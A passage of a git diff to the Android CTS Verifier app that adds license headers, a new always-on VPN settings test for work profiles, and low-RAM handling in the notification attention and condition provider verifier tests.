+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package com.android.cts.verifier.location;
+
+import com.android.cts.verifier.location.base.GnssCtsTestActivity;
+import android.location.cts.GnssPseudorangeVerificationTest;
+
+/**
+ * Activity to execute CTS GnssPseudorangeVerificationTest.
+ * It is a wrapper for {@link GnssPseudorangeVerificationTest} running with AndroidJUnitRunner.
+ */
+
+public class GnssPseudorangeVerificationTestsActivity extends GnssCtsTestActivity {
+ public GnssPseudorangeVerificationTestsActivity() {
+ super(GnssPseudorangeVerificationTest.class);
+ }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/location/GnssStatusTestsActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/location/GnssStatusTestsActivity.java
index a64c5d3..b132c50 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/location/GnssStatusTestsActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/location/GnssStatusTestsActivity.java
@@ -1,3 +1,19 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
package com.android.cts.verifier.location;
import com.android.cts.verifier.location.base.GnssCtsTestActivity;
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/location/GnssTtffTestsActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/location/GnssTtffTestsActivity.java
index 1ba925c..7b5b6fb 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/location/GnssTtffTestsActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/location/GnssTtffTestsActivity.java
@@ -1,3 +1,19 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
package com.android.cts.verifier.location;
import com.android.cts.verifier.location.base.GnssCtsTestActivity;
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/location/LocationListenerActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/location/LocationListenerActivity.java
index 8140b3f..4db0b54 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/location/LocationListenerActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/location/LocationListenerActivity.java
@@ -1,3 +1,19 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
package com.android.cts.verifier.location;
import android.app.Activity;
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/AlwaysOnVpnSettingsTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/AlwaysOnVpnSettingsTestActivity.java
new file mode 100644
index 0000000..011473c
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/AlwaysOnVpnSettingsTestActivity.java
@@ -0,0 +1,87 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.managedprovisioning;
+
+import android.content.ActivityNotFoundException;
+import android.content.Intent;
+import android.os.Bundle;
+import android.provider.Settings;
+
+import com.android.cts.verifier.ArrayTestListAdapter;
+import com.android.cts.verifier.DialogTestListActivity;
+import com.android.cts.verifier.R;
+
+/**
+ * Tests the Settings UI for always-on VPN in the work profile.
+ */
+public class AlwaysOnVpnSettingsTestActivity extends DialogTestListActivity {
+
+ public static final String ACTION_ALWAYS_ON_VPN_SETTINGS_TEST =
+ "com.android.cts.verifier.managedprovisioning.action.ALWAYS_ON_VPN_SETTINGS_TEST";
+
+ private static final Intent VPN_SETTINGS_INTENT = new Intent(Settings.ACTION_VPN_SETTINGS);
+ private static final String CTS_VPN_APP_PACKAGE = "com.android.cts.vpnfirewall";
+ private static final String CTS_VPN_APP_ACTION =
+ "com.android.cts.vpnfirewall.action.CONNECT_AND_FINISH";
+
+ public AlwaysOnVpnSettingsTestActivity() {
+ super(R.layout.provisioning_byod,
+ R.string.provisioning_byod_always_on_vpn,
+ R.string.provisioning_byod_always_on_vpn_info,
+ R.string.provisioning_byod_always_on_vpn_instruction);
+ }
+
+ @Override
+ protected void setupTests(ArrayTestListAdapter adapter) {
+ adapter.add(new DialogTestListItem(this,
+ R.string.provisioning_byod_always_on_vpn_api23,
+ "BYOD_AlwaysOnVpnSettingsApi23Test",
+ R.string.provisioning_byod_always_on_vpn_api23_instruction,
+ VPN_SETTINGS_INTENT
+ ));
+ adapter.add(new DialogTestListItem(this,
+ R.string.provisioning_byod_always_on_vpn_api24,
+ "BYOD_AlwaysOnVpnSettingsApi24Test",
+ R.string.provisioning_byod_always_on_vpn_api24_instruction,
+ VPN_SETTINGS_INTENT
+ ));
+ adapter.add(new DialogTestListItem(this,
+ R.string.provisioning_byod_always_on_vpn_not_always_on,
+ "BYOD_AlwaysOnVpnSettingsNotAlwaysOnTest",
+ R.string.provisioning_byod_always_on_vpn_not_always_on_instruction,
+ VPN_SETTINGS_INTENT
+ ));
+ }
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+
+ mPrepareTestButton.setText(
+ R.string.provisioning_byod_always_on_vpn_prepare_button);
+ mPrepareTestButton.setOnClickListener(v -> {
+ try {
+ final Intent intent =
+ getPackageManager().getLaunchIntentForPackage(CTS_VPN_APP_PACKAGE);
+ intent.setAction(CTS_VPN_APP_ACTION);
+ startActivity(intent);
+ } catch (ActivityNotFoundException unused) {
+ Utils.showToast(this, R.string.provisioning_byod_always_on_vpn_vpn_not_found_note);
+ }
+ });
+ }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodFlowTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodFlowTestActivity.java
index e51f942..15808a7 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodFlowTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodFlowTestActivity.java
@@ -101,6 +101,7 @@
private DialogTestListItem mConfirmWorkCredentials;
private DialogTestListItem mParentProfilePassword;
private TestListItem mVpnTest;
+ private TestListItem mAlwaysOnVpnSettingsTest;
private TestListItem mRecentsTest;
private TestListItem mDisallowAppsControlTest;
private TestListItem mOrganizationInfoTest;
@@ -362,6 +363,12 @@
new Intent(VpnTestActivity.ACTION_VPN),
null);
+ mAlwaysOnVpnSettingsTest = TestListItem.newTest(this,
+ R.string.provisioning_byod_always_on_vpn,
+ AlwaysOnVpnSettingsTestActivity.class.getName(),
+ new Intent(AlwaysOnVpnSettingsTestActivity.ACTION_ALWAYS_ON_VPN_SETTINGS_TEST),
+ null);
+
mDisallowAppsControlTest = TestListItem.newTest(this,
R.string.provisioning_byod_disallow_apps_control,
DisallowAppsControlActivity.class.getName(),
@@ -458,6 +465,7 @@
adapter.add(mKeyguardDisabledFeaturesTest);
adapter.add(mAuthenticationBoundKeyTest);
adapter.add(mVpnTest);
+ adapter.add(mAlwaysOnVpnSettingsTest);
adapter.add(mTurnOffWorkFeaturesTest);
adapter.add(mSelectWorkChallenge);
if (!getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE)) {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodFlowTestHelper.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodFlowTestHelper.java
index d1308ad..5053a90 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodFlowTestHelper.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodFlowTestHelper.java
@@ -39,6 +39,7 @@
PermissionLockdownTestActivity.ACTIVITY_ALIAS,
AuthenticationBoundKeyTestActivity.class.getName(),
VpnTestActivity.class.getName(),
+ AlwaysOnVpnSettingsTestActivity.class.getName(),
RecentsRedactionActivity.class.getName(),
CommandReceiverActivity.class.getName(),
SetSupportMessageActivity.class.getName()
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodHelperActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodHelperActivity.java
index db0ab08..f61c884 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodHelperActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodHelperActivity.java
@@ -179,10 +179,18 @@
.setContentText(getString(R.string.provisioning_byod_notification_title))
.setVisibility(visibility)
.setAutoCancel(true)
+ .setPublicVersion(createPublicVersionNotification())
.build();
mNotificationManager.notify(NOTIFICATION_ID, notification);
}
+ private Notification createPublicVersionNotification() {
+ return new Notification.Builder(this)
+ .setSmallIcon(R.drawable.icon)
+ .setContentTitle(getString(R.string.provisioning_byod_notification_public_title))
+ .setAutoCancel(true)
+ .build();
+ }
@Override
protected void onCreate(Bundle savedInstanceState) {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceAdminTestReceiver.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceAdminTestReceiver.java
index 1c40ac1..f54e567 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceAdminTestReceiver.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceAdminTestReceiver.java
@@ -110,6 +110,7 @@
filter.addAction(AuthenticationBoundKeyTestActivity.ACTION_AUTH_BOUND_KEY_TEST);
filter.addAction(ByodHelperActivity.ACTION_BYOD_SET_LOCATION_AND_CHECK_UPDATES);
filter.addAction(VpnTestActivity.ACTION_VPN);
+ filter.addAction(AlwaysOnVpnSettingsTestActivity.ACTION_ALWAYS_ON_VPN_SETTINGS_TEST);
filter.addAction(RecentsRedactionActivity.ACTION_RECENTS);
filter.addAction(ByodHelperActivity.ACTION_TEST_SELECT_WORK_CHALLENGE);
filter.addAction(ByodHelperActivity.ACTION_LAUNCH_CONFIRM_WORK_CREDENTIALS);
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/IntentFiltersTestHelper.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/IntentFiltersTestHelper.java
index 0147fde..9a33320 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/IntentFiltersTestHelper.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/IntentFiltersTestHelper.java
@@ -254,8 +254,6 @@
forwardedIntentsFromManaged.addAll(Arrays.asList(
new Intent(Settings.ACTION_INPUT_METHOD_SETTINGS),
new Intent(Settings.ACTION_INPUT_METHOD_SUBTYPE_SETTINGS)));
- notForwardedIntentsFromManaged.add(
- new Intent("android.settings.SHOW_INPUT_METHOD_PICKER"));
}
if (!pm.hasSystemFeature(PackageManager.FEATURE_WATCH)) {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/PolicyTransparencyTestListActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/PolicyTransparencyTestListActivity.java
index bd02144..d8dbefd 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/PolicyTransparencyTestListActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/PolicyTransparencyTestListActivity.java
@@ -71,7 +71,7 @@
Settings.ACTION_SETTINGS,
Settings.ACTION_SECURITY_SETTINGS,
Settings.ACTION_DISPLAY_SETTINGS,
- DevicePolicyManager.ACTION_SET_NEW_PASSWORD,
+ Settings.ACTION_SETTINGS,
Settings.ACTION_ACCESSIBILITY_SETTINGS,
Settings.ACTION_INPUT_METHOD_SETTINGS
};
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/AttentionManagementVerifierActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/AttentionManagementVerifierActivity.java
index 82e180e..ddfa283 100755
--- a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/AttentionManagementVerifierActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/AttentionManagementVerifierActivity.java
@@ -20,10 +20,12 @@
import static com.android.cts.verifier.notifications.MockListener.JSON_MATCHES_ZEN_FILTER;
import static com.android.cts.verifier.notifications.MockListener.JSON_TAG;
+import android.app.ActivityManager;
import android.app.Notification;
import android.app.NotificationChannel;
import android.app.NotificationManager;
import android.content.ContentProviderOperation;
+import android.content.Context;
import android.content.OperationApplicationException;
import android.database.Cursor;
import android.net.Uri;
@@ -74,12 +76,12 @@
private Uri mCharlieUri;
@Override
- int getTitleResource() {
+ protected int getTitleResource() {
return R.string.attention_test;
}
@Override
- int getInstructionsResource() {
+ protected int getInstructionsResource() {
return R.string.attention_info;
}
@@ -88,20 +90,26 @@
@Override
protected List<InteractiveTestCase> createTestItems() {
List<InteractiveTestCase> tests = new ArrayList<>(17);
- tests.add(new IsEnabledTest());
- tests.add(new ServiceStartedTest());
- tests.add(new InsertContactsTest());
- tests.add(new NoneInterceptsAllTest());
- tests.add(new PriorityInterceptsSomeTest());
- tests.add(new AllInterceptsNothingTest());
- tests.add(new DefaultOrderTest());
- tests.add(new PriorityOrderTest());
- tests.add(new InterruptionOrderTest());
- tests.add(new AmbientBitsTest());
- tests.add(new LookupUriOrderTest());
- tests.add(new EmailOrderTest());
- tests.add(new PhoneOrderTest());
- tests.add(new DeleteContactsTest());
+ ActivityManager am = (ActivityManager) getSystemService(Context.ACTIVITY_SERVICE);
+ if (am.isLowRamDevice()) {
+ tests.add(new CannotBeEnabledTest());
+ tests.add(new ServiceStoppedTest());
+ } else {
+ tests.add(new IsEnabledTest());
+ tests.add(new ServiceStartedTest());
+ tests.add(new InsertContactsTest());
+ tests.add(new NoneInterceptsAllTest());
+ tests.add(new PriorityInterceptsSomeTest());
+ tests.add(new AllInterceptsNothingTest());
+ tests.add(new DefaultOrderTest());
+ tests.add(new PriorityOrderTest());
+ tests.add(new InterruptionOrderTest());
+ tests.add(new AmbientBitsTest());
+ tests.add(new LookupUriOrderTest());
+ tests.add(new EmailOrderTest());
+ tests.add(new PhoneOrderTest());
+ tests.add(new DeleteContactsTest());
+ }
return tests;
}
@@ -122,14 +130,37 @@
// Tests
+ private class ServiceStoppedTest extends InteractiveTestCase {
+ int mRetries = 3;
+ @Override
+ protected View inflate(ViewGroup parent) {
+ return createAutoItem(parent, R.string.nls_service_stopped);
+ }
+
+ @Override
+ protected void test() {
+ if (MockListener.getInstance() == null
+ || !MockListener.getInstance().isConnected) {
+ status = PASS;
+ } else {
+ if (--mRetries > 0) {
+ sleep(100);
+ status = RETEST;
+ } else {
+ status = FAIL;
+ }
+ }
+ }
+ }
+
protected class InsertContactsTest extends InteractiveTestCase {
@Override
- View inflate(ViewGroup parent) {
+ protected View inflate(ViewGroup parent) {
return createAutoItem(parent, R.string.attention_create_contacts);
}
@Override
- void setUp() {
+ protected void setUp() {
insertSingleContact(ALICE, ALICE_PHONE, ALICE_EMAIL, true);
insertSingleContact(BOB, BOB_PHONE, BOB_EMAIL, false);
// charlie is not in contacts
@@ -137,7 +168,7 @@
}
@Override
- void test() {
+ protected void test() {
mAliceUri = lookupContact(ALICE_PHONE);
mBobUri = lookupContact(BOB_PHONE);
mCharlieUri = lookupContact(CHARLIE_PHONE);
@@ -161,12 +192,12 @@
protected class DeleteContactsTest extends InteractiveTestCase {
@Override
- View inflate(ViewGroup parent) {
+ protected View inflate(ViewGroup parent) {
return createAutoItem(parent, R.string.attention_delete_contacts);
}
@Override
- void test() {
+ protected void test() {
final ArrayList<ContentProviderOperation> operationList = new ArrayList<>();
operationList.add(ContentProviderOperation.newDelete(mAliceUri).build());
operationList.add(ContentProviderOperation.newDelete(mBobUri).build());
@@ -187,12 +218,12 @@
protected class NoneInterceptsAllTest extends InteractiveTestCase {
@Override
- View inflate(ViewGroup parent) {
+ protected View inflate(ViewGroup parent) {
return createAutoItem(parent, R.string.attention_all_are_filtered);
}
@Override
- void setUp() {
+ protected void setUp() {
mNm.setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_NONE);
createChannels();
sendNotifications(MODE_URI, false, false);
@@ -200,7 +231,7 @@
}
@Override
- void test() {
+ protected void test() {
List<JSONObject> result = new ArrayList<>(MockListener.getInstance().getPosted());
Set<String> found = new HashSet<String>();
@@ -237,7 +268,7 @@
}
@Override
- void tearDown() {
+ protected void tearDown() {
mNm.setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_ALL);
mNm.cancelAll();
deleteChannels();
@@ -248,19 +279,19 @@
protected class AllInterceptsNothingTest extends InteractiveTestCase {
@Override
- View inflate(ViewGroup parent) {
+ protected View inflate(ViewGroup parent) {
return createAutoItem(parent, R.string.attention_none_are_filtered);
}
@Override
- void setUp() {
+ protected void setUp() {
createChannels();
sendNotifications(MODE_URI, false, false);
status = READY;
}
@Override
- void test() {
+ protected void test() {
List<JSONObject> result = new ArrayList<>(MockListener.getInstance().getPosted());
Set<String> found = new HashSet<String>();
@@ -297,7 +328,7 @@
}
@Override
- void tearDown() {
+ protected void tearDown() {
mNm.cancelAll();
deleteChannels();
MockListener.getInstance().resetData();
@@ -306,12 +337,12 @@
protected class PriorityInterceptsSomeTest extends InteractiveTestCase {
@Override
- View inflate(ViewGroup parent) {
+ protected View inflate(ViewGroup parent) {
return createAutoItem(parent, R.string.attention_some_are_filtered);
}
@Override
- void setUp() {
+ protected void setUp() {
mNm.setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_PRIORITY);
NotificationManager.Policy policy = mNm.getNotificationPolicy();
policy = new NotificationManager.Policy(policy.priorityCategories
@@ -325,7 +356,7 @@
}
@Override
- void test() {
+ protected void test() {
List<JSONObject> result = new ArrayList<>(MockListener.getInstance().getPosted());
Set<String> found = new HashSet<String>();
@@ -362,7 +393,7 @@
}
@Override
- void tearDown() {
+ protected void tearDown() {
mNm.setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_ALL);
mNm.cancelAll();
deleteChannels();
@@ -373,19 +404,19 @@
// ordered by time: C, B, A
protected class DefaultOrderTest extends InteractiveTestCase {
@Override
- View inflate(ViewGroup parent) {
+ protected View inflate(ViewGroup parent) {
return createAutoItem(parent, R.string.attention_default_order);
}
@Override
- void setUp() {
+ protected void setUp() {
createChannels();
sendNotifications(MODE_NONE, false, false);
status = READY;
}
@Override
- void test() {
+ protected void test() {
List<String> orderedKeys = new ArrayList<>(MockListener.getInstance().mOrder);
int rankA = findTagInKeys(ALICE, orderedKeys);
int rankB = findTagInKeys(BOB, orderedKeys);
@@ -399,7 +430,7 @@
}
@Override
- void tearDown() {
+ protected void tearDown() {
mNm.cancelAll();
deleteChannels();
MockListener.getInstance().resetData();
@@ -409,19 +440,19 @@
// ordered by priority: B, C, A
protected class PriorityOrderTest extends InteractiveTestCase {
@Override
- View inflate(ViewGroup parent) {
+ protected View inflate(ViewGroup parent) {
return createAutoItem(parent, R.string.attention_priority_order);
}
@Override
- void setUp() {
+ protected void setUp() {
createChannels();
sendNotifications(MODE_NONE, true, false);
status = READY;
}
@Override
- void test() {
+ protected void test() {
List<String> orderedKeys = new ArrayList<>(MockListener.getInstance().mOrder);
int rankA = findTagInKeys(ALICE, orderedKeys);
int rankB = findTagInKeys(BOB, orderedKeys);
@@ -435,7 +466,7 @@
}
@Override
- void tearDown() {
+ protected void tearDown() {
mNm.cancelAll();
deleteChannels();
MockListener.getInstance().resetData();
@@ -447,12 +478,12 @@
boolean mSawElevation = false;
@Override
- View inflate(ViewGroup parent) {
+ protected View inflate(ViewGroup parent) {
return createAutoItem(parent, R.string.attention_interruption_order);
}
@Override
- void setUp() {
+ protected void setUp() {
delayTime = 15000;
createChannels();
// send B & C noisy with contact affinity
@@ -463,7 +494,7 @@
}
@Override
- void test() {
+ protected void test() {
if (status == READY_AFTER_LONG_DELAY) {
// send A noisy but no contact affinity
sendNotifications(SEND_A, MODE_NONE, false, true);
@@ -493,7 +524,7 @@
}
@Override
- void tearDown() {
+ protected void tearDown() {
mNm.cancelAll();
deleteChannels();
MockListener.getInstance().resetData();
@@ -503,12 +534,12 @@
// B & C above the fold, A below
protected class AmbientBitsTest extends InteractiveTestCase {
@Override
- View inflate(ViewGroup parent) {
+ protected View inflate(ViewGroup parent) {
return createAutoItem(parent, R.string.attention_ambient_bit);
}
@Override
- void setUp() {
+ protected void setUp() {
createChannels();
sendNotifications(SEND_B | SEND_C, MODE_NONE, true, true);
sendNotifications(SEND_A, MODE_NONE, true, false);
@@ -516,7 +547,7 @@
}
@Override
- void test() {
+ protected void test() {
List<JSONObject> result = new ArrayList<>(MockListener.getInstance().getPosted());
Set<String> found = new HashSet<String>();
@@ -553,7 +584,7 @@
}
@Override
- void tearDown() {
+ protected void tearDown() {
mNm.cancelAll();
deleteChannels();
MockListener.getInstance().resetData();
@@ -563,19 +594,19 @@
// ordered by contact affinity: A, B, C
protected class LookupUriOrderTest extends InteractiveTestCase {
@Override
- View inflate(ViewGroup parent) {
+ protected View inflate(ViewGroup parent) {
return createAutoItem(parent, R.string.attention_lookup_order);
}
@Override
- void setUp() {
+ protected void setUp() {
createChannels();
sendNotifications(MODE_URI, false, false);
status = READY;
}
@Override
- void test() {
+ protected void test() {
List<String> orderedKeys = new ArrayList<>(MockListener.getInstance().mOrder);
int rankA = findTagInKeys(ALICE, orderedKeys);
int rankB = findTagInKeys(BOB, orderedKeys);
@@ -589,7 +620,7 @@
}
@Override
- void tearDown() {
+ protected void tearDown() {
mNm.cancelAll();
deleteChannels();
MockListener.getInstance().resetData();
@@ -599,19 +630,19 @@
// ordered by contact affinity: A, B, C
protected class EmailOrderTest extends InteractiveTestCase {
@Override
- View inflate(ViewGroup parent) {
+ protected View inflate(ViewGroup parent) {
return createAutoItem(parent, R.string.attention_email_order);
}
@Override
- void setUp() {
+ protected void setUp() {
createChannels();
sendNotifications(MODE_EMAIL, false, false);
status = READY;
}
@Override
- void test() {
+ protected void test() {
List<String> orderedKeys = new ArrayList<>(MockListener.getInstance().mOrder);
int rankA = findTagInKeys(ALICE, orderedKeys);
int rankB = findTagInKeys(BOB, orderedKeys);
@@ -625,7 +656,7 @@
}
@Override
- void tearDown() {
+ protected void tearDown() {
mNm.cancelAll();
deleteChannels();
MockListener.getInstance().resetData();
@@ -635,19 +666,19 @@
// ordered by contact affinity: A, B, C
protected class PhoneOrderTest extends InteractiveTestCase {
@Override
- View inflate(ViewGroup parent) {
+ protected View inflate(ViewGroup parent) {
return createAutoItem(parent, R.string.attention_phone_order);
}
@Override
- void setUp() {
+ protected void setUp() {
createChannels();
sendNotifications(MODE_PHONE, false, false);
status = READY;
}
@Override
- void test() {
+ protected void test() {
List<String> orderedKeys = new ArrayList<>(MockListener.getInstance().mOrder);
int rankA = findTagInKeys(ALICE, orderedKeys);
int rankB = findTagInKeys(BOB, orderedKeys);
@@ -661,7 +692,7 @@
}
@Override
- void tearDown() {
+ protected void tearDown() {
mNm.cancelAll();
deleteChannels();
MockListener.getInstance().resetData();
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/ConditionProviderVerifierActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/ConditionProviderVerifierActivity.java
index 24d88b7..46b808b 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/ConditionProviderVerifierActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/ConditionProviderVerifierActivity.java
@@ -18,14 +18,15 @@
import com.android.cts.verifier.R;
+import android.app.ActivityManager;
import android.app.AutomaticZenRule;
import android.app.NotificationManager;
import android.content.ComponentName;
+import android.content.Context;
import android.content.Intent;
import android.net.Uri;
import android.os.Parcelable;
import android.provider.Settings;
-import android.provider.Settings.Secure;
import android.text.TextUtils;
import android.view.View;
import android.view.ViewGroup;
@@ -42,12 +43,12 @@
"/com.android.cts.verifier.notifications.MockConditionProvider";
@Override
- int getTitleResource() {
+ protected int getTitleResource() {
return R.string.cp_test;
}
@Override
- int getInstructionsResource() {
+ protected int getInstructionsResource() {
return R.string.cp_info;
}
@@ -56,23 +57,29 @@
@Override
protected List<InteractiveTestCase> createTestItems() {
List<InteractiveTestCase> tests = new ArrayList<>(9);
- tests.add(new IsEnabledTest());
- tests.add(new ServiceStartedTest());
- tests.add(new CreateAutomaticZenRuleTest());
- tests.add(new UpdateAutomaticZenRuleTest());
- tests.add(new GetAutomaticZenRuleTest());
- tests.add(new GetAutomaticZenRulesTest());
- tests.add(new SubscribeAutomaticZenRuleTest());
- tests.add(new DeleteAutomaticZenRuleTest());
- tests.add(new UnsubscribeAutomaticZenRuleTest());
- tests.add(new IsDisabledTest());
- tests.add(new ServiceStoppedTest());
+ ActivityManager am = (ActivityManager) getSystemService(Context.ACTIVITY_SERVICE);
+ if (am.isLowRamDevice()) {
+ tests.add(new CannotBeEnabledTest());
+ tests.add(new ServiceStoppedTest());
+ } else {
+ tests.add(new IsEnabledTest());
+ tests.add(new ServiceStartedTest());
+ tests.add(new CreateAutomaticZenRuleTest());
+ tests.add(new UpdateAutomaticZenRuleTest());
+ tests.add(new GetAutomaticZenRuleTest());
+ tests.add(new GetAutomaticZenRulesTest());
+ tests.add(new SubscribeAutomaticZenRuleTest());
+ tests.add(new DeleteAutomaticZenRuleTest());
+ tests.add(new UnsubscribeAutomaticZenRuleTest());
+ tests.add(new IsDisabledTest());
+ tests.add(new ServiceStoppedTest());
+ }
return tests;
}
protected class IsEnabledTest extends InteractiveTestCase {
@Override
- View inflate(ViewGroup parent) {
+ protected View inflate(ViewGroup parent) {
return createSettingsItem(parent, R.string.cp_enable_service);
}
@@ -82,15 +89,13 @@
}
@Override
- void test() {
+ protected void test() {
Intent settings = new Intent(Settings.ACTION_NOTIFICATION_POLICY_ACCESS_SETTINGS);
if (settings.resolveActivity(mPackageManager) == null) {
logFail("no settings activity");
status = FAIL;
} else {
- String cpPackages = Secure.getString(getContentResolver(),
- Settings.Secure.ENABLED_NOTIFICATION_POLICY_ACCESS_PACKAGES);
- if (cpPackages != null && cpPackages.contains(CP_PACKAGE)) {
+ if (mNm.isNotificationPolicyAccessGranted()) {
status = PASS;
} else {
status = WAIT_FOR_USER;
@@ -99,7 +104,41 @@
}
}
- void tearDown() {
+ protected void tearDown() {
+ // wait for the service to start
+ delay();
+ }
+ }
+
+ protected class CannotBeEnabledTest extends InteractiveTestCase {
+ @Override
+ protected View inflate(ViewGroup parent) {
+ return createNlsSettingsItem(parent, R.string.cp_cannot_enable_service);
+ }
+
+ @Override
+ boolean autoStart() {
+ return true;
+ }
+
+ @Override
+ protected void test() {
+ mNm.cancelAll();
+ Intent settings = new Intent(NOTIFICATION_LISTENER_SETTINGS);
+ if (settings.resolveActivity(mPackageManager) == null) {
+ logFail("no settings activity");
+ status = FAIL;
+ } else {
+ if (mNm.isNotificationPolicyAccessGranted()) {
+ status = FAIL;
+ } else {
+ status = PASS;
+ }
+ next();
+ }
+ }
+
+ protected void tearDown() {
// wait for the service to start
delay();
}
@@ -107,12 +146,12 @@
protected class ServiceStartedTest extends InteractiveTestCase {
@Override
- View inflate(ViewGroup parent) {
+ protected View inflate(ViewGroup parent) {
return createAutoItem(parent, R.string.cp_service_started);
}
@Override
- void test() {
+ protected void test() {
MockConditionProvider.probeConnected(mContext,
new MockConditionProvider.BooleanResultCatcher() {
@Override
@@ -131,7 +170,7 @@
}
@Override
- void tearDown() {
+ protected void tearDown() {
MockConditionProvider.resetData(mContext);
delay();
}
@@ -141,12 +180,12 @@
private String id = null;
@Override
- View inflate(ViewGroup parent) {
+ protected View inflate(ViewGroup parent) {
return createAutoItem(parent, R.string.cp_create_rule);
}
@Override
- void test() {
+ protected void test() {
long now = System.currentTimeMillis();
AutomaticZenRule ruleToCreate =
createRule("Rule", "value", NotificationManager.INTERRUPTION_FILTER_ALARMS);
@@ -162,7 +201,7 @@
}
@Override
- void tearDown() {
+ protected void tearDown() {
if (id != null) {
mNm.removeAutomaticZenRule(id);
}
@@ -175,12 +214,12 @@
private String id = null;
